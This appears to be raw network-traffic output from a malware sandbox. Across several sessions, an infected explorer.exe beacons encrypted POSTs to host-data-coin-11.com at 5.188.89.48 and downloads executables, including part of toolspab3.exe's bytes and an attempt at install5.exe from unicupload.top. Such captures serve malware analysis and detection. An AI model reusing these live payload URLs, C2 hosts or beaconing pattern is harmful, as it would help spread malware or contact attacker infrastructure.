Dec 28, 2021 05:18:44.003308058 CET	1183	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://jteovwto.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 245 Host: host-data-coin-11.com
Dec 28, 2021 05:18:44.003586054 CET	1183	OUT	Data Raw: 10 87 80 e2 1c 81 d2 b0 ce 37 78 47 0a cc e4 8a 35 66 da 30 d5 40 1f 90 cd ec db 82 88 a1 95 82 11 c6 5e a1 1a 1f cf 92 9e d3 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 96 66 5d 02 c8 a1 c1 64 0d d0 c2 2b Data Ascii: 7xG5f0@^wmDu$f]d+KOoXTH`3l7sy_p4u"p@]JmpNa/p}INKn'8MFN[DZKtjY>SUGIt#U2LD_spj'P
Dec 28, 2021 05:18:44.119926929 CET	1184	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:18:44 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.3	49756	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:18:44.239408016 CET	1184	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://oqydrde.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 337 Host: host-data-coin-11.com
Dec 28, 2021 05:18:44.239428997 CET	1185	OUT	Data Raw: 10 87 80 e2 1c 81 d2 b0 ce 37 78 47 0a cc e4 8a 35 66 da 30 d5 40 1f 90 cd ec db 82 88 a1 95 82 11 c6 5e a1 1a 1f cf 92 9e d3 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 97 66 5d 02 c8 a1 c1 64 0f 92 98 31 Data Ascii: 7xG5f0@^wmDu$f]d1 E,%Y!tB/Pi[iogdA>IT_YS2\sxK1='GR1wP^!>b5{p~6{@K=:~hbmYO+'E{=w.
Dec 28, 2021 05:18:44.364546061 CET	1185	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:18:44 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 33 37 0d 0a 02 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e d6 1e 52 25 40 a3 f5 c2 ea fb 5f f5 4d 8b 2d e4 04 08 c7 5c a5 ba 7a ae 2e 54 0a e3 f0 d8 4b fc 05 d4 43 0d 0a 30 0d 0a 0d 0a Data Ascii: 37I:82OR%@_M-\z.TKC0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.3	49775	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:18:51.412790060 CET	1736	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://tkeghqsng.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 156 Host: host-data-coin-11.com
Dec 28, 2021 05:18:51.412813902 CET	1736	OUT	Data Raw: 10 87 80 e2 1c 81 d2 b0 ce 37 78 47 0a cc e4 8a 35 66 da 30 d5 40 1f 90 cd ec db 82 88 a1 95 82 11 c6 5e a1 1a 1f cf 92 9e d3 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 94 66 5d 02 c8 a1 c1 64 5b 80 9a 32 Data Ascii: 7xG5f0@^wmDu$f]d[2-&o`[?$hYD<'e<s`),;b&IG'sKh.`I&"
Dec 28, 2021 05:18:51.522005081 CET	1749	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:18:51 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f d1 95 4f 11 6a 11 e9 b2 83 bd a6 02 e9 1a d1 70 ae 59 4a d9 52 a6 be 67 e3 25 58 51 b8 f6 cb 41 e1 0e 88 16 95 e1 63 da 7d b3 ef d2 01 79 e5 a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OOjpYJRg%XQAc}yc0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.3	49776	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:18:51.907418013 CET	1940	OUT	GET /downloads/toolspab3.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: privacytools-foryou-777.com
Dec 28, 2021 05:18:52.004533052 CET	1942	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:18:51 GMT Content-Type: application/x-msdos-program Content-Length: 339456 Connection: close Last-Modified: Tue, 28 Dec 2021 04:18:01 GMT ETag: "52e00-5d42d1b67929d" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 04 b7 bc 92 40 d6 d2 c1 40 d6 d2 c1 40 d6 d2 c1 2f a0 4c c1 51 d6 d2 c1 2f a0 78 c1 2a d6 d2 c1 49 ae 41 c1 43 d6 d2 c1 40 d6 d3 c1 fd d6 d2 c1 2f a0 79 c1 76 d6 d2 c1 2f a0 48 c1 41 d6 d2 c1 2f a0 4f c1 41 d6 d2 c1 52 69 63 68 40 d6 d2 c1 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 1b b4 65 60 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ee 03 00 00 20 09 00 00 00 00 00 b0 3d 02 00 00 10 00 00 00 00 04 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 40 0d 00 00 04 00 00 93 13 06 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 cc eb 03 00 28 00 00 00 00 90 0c 00 88 62 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0d 00 24 21 00 00 70 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 a5 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 e8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 4e ed 03 00 00 10 00 00 00 ee 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 68 6f 08 00 00 00 04 00 00 8c 00 00 00 f2 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 65 6a 65 76 75 00 05 00 00 00 00 70 0c 00 00 02 00 00 00 7e 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 64 6f 7a 69 00 00 00 93 0d 00 00 00 80 0c 00 00 0e 00 00 00 80 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 88 62 00 00 00 90 0c 00 00 64 00 00 00 8e 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ee 3b 00 00 00 00 0d 00 00 3c 00 00 00 f2 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 dc ee 03 00 f8 ee 03 00 0c ef 03 00 1e ef 03 00 30 ef 03 00 46 ef 03 00 56 ef 03 00 6c ef 03 00 7c ef 03 00 98 ef 03 00 ac ef 03 00 c0 ef 03 00 d6 ef 03 00 f0 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$@@@/LQ/x*IAC@/yv/HA/OARich@PELe` =@@(b$!p@.textN `.dataho@.pejevup~@.dozi@.rsrcbd@@.reloc;<@B0FVl\|
Dec 28, 2021 05:18:52.004590988 CET	1943	IN	Data Raw: ef 03 00 0a f0 03 00 22 f0 03 00 36 f0 03 00 42 f0 03 00 50 f0 03 00 68 f0 03 00 8a f0 03 00 96 f0 03 00 a6 f0 03 00 c2 f0 03 00 de f0 03 00 f0 f0 03 00 00 f1 03 00 0e f1 03 00 16 f1 03 00 24 f1 03 00 30 f1 03 00 42 f1 03 00 58 f1 03 00 66 f1 03 Data Ascii: "6BPh$0BXfv 8Tdx>Rhx4B\p
Dec 28, 2021 05:18:52.004631996 CET	1944	IN	Data Raw: 00 62 00 69 00 77 00 75 00 68 00 61 00 6e 00 69 00 76 00 69 00 6d 00 00 00 4b 69 62 20 72 65 76 6f 6d 75 76 75 66 69 62 6f 20 6d 69 79 69 66 20 79 75 66 6f 62 65 68 00 00 53 75 67 6f 66 69 63 61 6c 61 6c 75 6a 20 74 75 70 65 6d 69 63 6f 62 61 00 Data Ascii: biwuhanivimKib revomuvufibo miyif yufobehSugoficalaluj tupemicobaTog bemal zumesuyamop zemim xuzaxaruroluZumohodove linucasuxadefi dunixoxehevavohupezigisilegurazemalugisifb
Dec 28, 2021 05:18:52.004671097 CET	1946	IN	Data Raw: 6f 73 62 61 73 65 00 43 3a 5c 50 72 6f 67 72 61 6d 20 46 69 6c 65 73 20 28 78 38 36 29 5c 4d 69 63 72 6f 73 6f 66 74 20 56 69 73 75 61 6c 20 53 74 75 64 69 6f 20 31 30 2e 30 5c 56 43 5c 69 6e 63 6c 75 64 65 5c 73 74 72 65 61 6d 62 75 66 00 00 00 Data Ascii: osbaseC:\Program Files (x86)\Microsoft Visual Studio 10.0\VC\include\streambuf$@AzAAAAAAAAAYA\|AAAAbad locale nameC:\Program Files (x86)\Microsoft Visual Studio 10.0\VC\include\xlocaleC:
Dec 28, 2021 05:18:52.004700899 CET	1947	IN	Data Raw: 00 00 00 00 00 43 6c 69 65 6e 74 00 00 49 67 6e 6f 72 65 00 00 43 52 54 00 4e 6f 72 6d 61 6c 00 00 46 72 65 65 00 00 00 00 04 20 40 00 fc 1f 40 00 f8 1f 40 00 f0 1f 40 00 e8 1f 40 00 45 72 72 6f 72 3a 20 6d 65 6d 6f 72 79 20 61 6c 6c 6f 63 61 74 Data Ascii: ClientIgnoreCRTNormalFree @@@@@Error: memory allocation: bad memory block type.Invalid allocation size: %Iu bytes.%sClient hook allocation failure.Client hook allocation failure at file %hs line %d
Dec 28, 2021 05:18:52.004740953 CET	1948	IN	Data Raw: 00 3d 00 3d 00 20 00 6e 00 42 00 6c 00 6f 00 63 00 6b 00 55 00 73 00 65 00 00 00 70 00 48 00 65 00 61 00 64 00 2d 00 3e 00 6e 00 4c 00 69 00 6e 00 65 00 20 00 3d 00 3d 00 20 00 49 00 47 00 4e 00 4f 00 52 00 45 00 5f 00 4c 00 49 00 4e 00 45 00 20 Data Ascii: == nBlockUsepHead->nLine == IGNORE_LINE && pHead->lRequest == IGNORE_REQHEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the applicati
Dec 28, 2021 05:18:52.004779100 CET	1950	IN	Data Raw: 77 69 74 68 20 75 6e 6b 6e 6f 77 6e 20 72 65 74 75 72 6e 20 76 61 6c 75 65 21 0a 00 00 5f 68 65 61 70 63 68 6b 20 66 61 69 6c 73 20 77 69 74 68 20 5f 48 45 41 50 42 41 44 50 54 52 2e 0a 00 00 00 5f 68 65 61 70 63 68 6b 20 66 61 69 6c 73 20 77 69 Data Ascii: with unknown return value!_heapchk fails with _HEAPBADPTR._heapchk fails with _HEAPBADEND._heapchk fails with _HEAPBADNODE._heapchk fails with _HEAPBADBEGIN._CrtSetDbgFlag(fNewBits==_CRTDB
Dec 28, 2021 05:18:52.004818916 CET	1951	IN	Data Raw: 00 2c 00 20 00 30 00 29 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: , 0)
Dec 28, 2021 05:18:52.004895926 CET	1953	IN	Data Raw: a3 a4 a5 a6 a7 a8 a9 aa ab ac ad ae af b0 b1 b2 b3 b4 b5 b6 b7 b8 b9 ba bb bc bd be bf c0 c1 c2 c3 c4 c5 c6 c7 c8 c9 ca cb cc cd ce cf d0 d1 d2 d3 d4 d5 d6 d7 d8 d9 da db dc dd de df e0 e1 e2 e3 e4 e5 e6 e7 e8 e9 ea eb ec ed ee ef f0 f1 f2 f3 f4 Data Ascii: !"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\]^_`abcdefghijklmnopqrstuvwxyz{\|}~
Dec 28, 2021 05:18:52.004940033 CET	1954	IN	Data Raw: 00 6f 00 63 00 61 00 6c 00 2e 00 63 00 00 00 66 3a 5c 64 64 5c 76 63 74 6f 6f 6c 73 5c 63 72 74 5f 62 6c 64 5c 73 65 6c 66 5f 78 38 36 5c 63 72 74 5c 73 72 63 5c 73 65 74 6c 6f 63 61 6c 2e 63 00 00 00 73 00 65 00 74 00 6c 00 6f 00 63 00 61 00 6c Data Ascii: ocal.cf:\dd\vctools\crt_bld\self_x86\crt\src\setlocal.csetlocaleLC_MIN <= _category && _category <= LC_MAXstrncpy_s(lctemp, (sizeof(lctemp
Dec 28, 2021 05:18:52.071413994 CET	1955	IN	Data Raw: 00 6f 00 64 00 65 00 50 00 61 00 67 00 65 00 2c 00 20 00 28 00 73 00 69 00 7a 00 65 00 6f 00 66 00 28 00 6e 00 61 00 6d 00 65 00 73 00 2d 00 3e 00 73 00 7a 00 43 00 6f 00 64 00 65 00 50 00 61 00 67 00 65 00 29 00 20 00 2f 00 20 00 73 00 69 00 7a Data Ascii: odePage, (sizeof(names->szCodePage) / sizeof(names->szCodePage[0])), locale, len)strncpy_s(names->szCountry, (sizeof(n

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.3	49777	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:18:54.102786064 CET	2293	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://gjygx.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 117 Host: host-data-coin-11.com
Dec 28, 2021 05:18:54.104909897 CET	2294	OUT	Data Raw: 10 87 80 e2 1c 81 d2 b0 ce 37 78 47 0a cc e4 8a 35 66 da 30 d5 40 1f 90 cd ec db 82 88 a1 95 82 11 c6 5e a1 1a 1f cf 92 9e d3 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 84 de 94 66 5d 02 c9 a1 c1 64 15 be a2 33 Data Ascii: 7xG5f0@^wmDu$f]d3Y*j!ux^r$I
Dec 28, 2021 05:18:54.214426994 CET	2294	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:18:54 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.3	49778	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:18:54.311641932 CET	2295	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://kfxca.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 358 Host: host-data-coin-11.com
Dec 28, 2021 05:18:54.314295053 CET	2296	OUT	Data Raw: 10 87 80 e2 1c 81 d2 b0 ce 37 78 47 0a cc e4 8a 35 66 da 30 d5 40 1f 90 cd ec db 82 88 a1 95 82 11 c6 5e a1 1a 1f cf 92 9e d3 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 95 66 5d 02 c8 a1 c1 64 51 81 d0 69 Data Ascii: 7xG5f0@^wmDu$f]dQi%\|kbU"Fe^9'nm>Ot7.?XoxSGzBr3q=&ak')Fmd[eI6O:MR)GQysu.#L*pULLlS{1jj@
Dec 28, 2021 05:18:54.438278913 CET	2296	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:18:54 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.3	49847	162.159.134.233	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.3	49779	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:18:54.556508064 CET	2297	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ryipue.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 117 Host: host-data-coin-11.com
Dec 28, 2021 05:18:54.556533098 CET	2297	OUT	Data Raw: 10 87 80 e2 1c 81 d2 b0 ce 37 78 47 0a cc e4 8a 35 66 da 30 d5 40 1f 90 cd ec db 82 88 a1 95 82 11 c6 5e a1 1a 1f cf 92 9e d3 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 92 66 5d 02 c8 a1 c1 64 48 b7 86 11 Data Ascii: 7xG5f0@^wmDu$f]dHN3&e{H'4/k7 j
Dec 28, 2021 05:18:54.677180052 CET	2298	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:18:54 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 32 65 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f d4 89 4f 04 7e 02 fc a9 8d b6 e4 05 ab 0c 91 6b b9 45 4b 95 09 fd bc 67 e5 32 50 0d 0a 30 0d 0a 0d 0a Data Ascii: 2eI:82OO~kEKg2P0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.3	49780	54.38.220.85	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:18:54.809417009 CET	2298	OUT	GET /install5.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: unicupload.top
Dec 28, 2021 05:18:54.827373981 CET	2299	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.0 (Ubuntu) Date: Tue, 28 Dec 2021 04:18:01 GMT Content-Type: text/html Content-Length: 178 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.3	49781	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:18:54.947427034 CET	2300	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://vukwltcu.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 122 Host: host-data-coin-11.com
Dec 28, 2021 05:18:54.947448969 CET	2300	OUT	Data Raw: 10 87 80 e2 1c 81 d2 b0 ce 37 78 47 0a cc e4 8a 35 66 da 30 d5 40 1f 90 cd ec db 82 88 a1 95 82 11 c6 5e a1 1a 1f cf 92 9e d3 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 93 66 5d 02 c8 a1 c1 64 37 b1 b6 3a Data Ascii: 7xG5f0@^wmDu$f]d7:3gNZ$K6t^{o;>pECe
Dec 28, 2021 05:18:55.064685106 CET	2300	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:18:55 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.3	49782	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:18:55.168279886 CET	2301	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://lnwhd.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 260 Host: host-data-coin-11.com
Dec 28, 2021 05:18:55.168339968 CET	2301	OUT	Data Raw: 10 87 80 e2 1c 81 d2 b0 ce 37 78 47 0a cc e4 8a 35 66 da 30 d5 40 1f 90 cd ec db 82 88 a1 95 82 11 c6 5e a1 1a 1f cf 92 9e d3 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 90 66 5d 02 c8 a1 c1 64 44 86 8e 7d Data Ascii: 7xG5f0@^wmDu$f]dD}MyuO`eNaf6N=P$':9\Z%a):hHX416G`W:Br#w{:7&ezGJNc"RJlN?J$:Gib!X,
